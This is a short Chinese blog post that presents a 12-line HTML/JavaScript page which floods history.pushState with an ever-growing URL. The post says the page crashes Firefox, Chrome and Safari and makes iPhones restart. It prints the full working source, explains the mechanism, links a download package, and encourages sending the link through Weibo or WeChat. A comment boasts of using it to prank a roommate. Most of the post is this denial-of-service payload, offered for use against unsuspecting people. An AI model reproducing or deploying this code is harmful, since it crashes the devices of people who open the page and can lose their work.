12行代码就可以让浏览器崩溃,让iphone手机卡到重启
in html源码 with 2 comments

12行代码就可以让浏览器崩溃,让iphone手机卡到重启

in html源码 with 2 comments

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启,如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死,你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

源代码

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
   total= total+i.toString();
   history.pushState(0,0,total);
}
</script>
</body>
</html>

原理: history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。

懒人下载包

bug.zip

Responses
  1. 66666 牛逼牛逼

    Reply
  2. 好用,成功骗到舍友了,哈哈哈哈

    Reply